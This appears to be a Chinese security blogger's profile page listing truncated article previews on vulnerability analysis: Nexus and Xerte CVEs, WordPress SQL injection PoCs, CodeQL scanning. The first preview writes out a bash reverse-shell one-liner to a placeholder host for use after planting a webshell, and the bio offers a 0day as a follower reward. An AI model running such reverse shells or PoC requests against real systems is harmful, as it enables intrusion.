IP屬地：浙江
-
PHP最高效的weshell反彈方式?。ㄡ槍Ω鞣N無回顯）如果你拿到了webshell?。。。?！ 如果你還在用傳統(tǒng)寫法 /bin/bash -i >& /dev/tcp/x.x.x.x/9090 0>&...
-
Codeql進階源碼分析之Java代碼漏掃模塊1.1（XXE漏洞CWE-601）寫在最前面 在看這一坨的時候，你首先要具備2個要素，第一你知道這個漏洞是如何產(chǎn)生和如何規(guī)避。第二這一系列的分析都是都是基于官方的dll庫分析...
-
CVE-2019-7238分析，Nexus Repository Manager 3介紹：Nexus Repository Manager是一個maven管理功能系統(tǒng) 影響版本：Nexus Repository Manager ...
-
CVE-2020-10199分析，Nexus Repository Manager介紹：Nexus Repository Manager是一個maven管理功能系統(tǒng) 影響版本：Nexus Repository Manager ...
-
如何使用IDEA遠程調(diào)試Sonatype Nexus Repository Manager1、Docker運行起來NRM（Sonatype Nexus Repository Manager） docker pull sonatype/...
-
Xerte 3.10.3 - Directory Traversal (Authenticated)很簡單的繞過。 http://127.0.0.1:8081/xerteonlinetoolkits-3.8.5-33/getfile.php?f...
-
-
CVE-2022–21661 WordPress 《=5.3, 攜帶WP_QUERY插件SQL注入POC：http://127.0.0.1:8081/wordpress-5.8.1-zh_CN/wordpress/wp-admin/admin...
-
WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)接收參數(shù)的過濾方法并不能去除 select sleep等函數(shù)。time處理有問題 http://127.0.0.1:8081/wordpress...
個人介紹
大家好！我是Billie擅長手動分析各種漏洞！這里只會分析漏洞產(chǎn)生的原理！喜歡就關(guān)注吧！粉絲超過1000公布簡書的0day！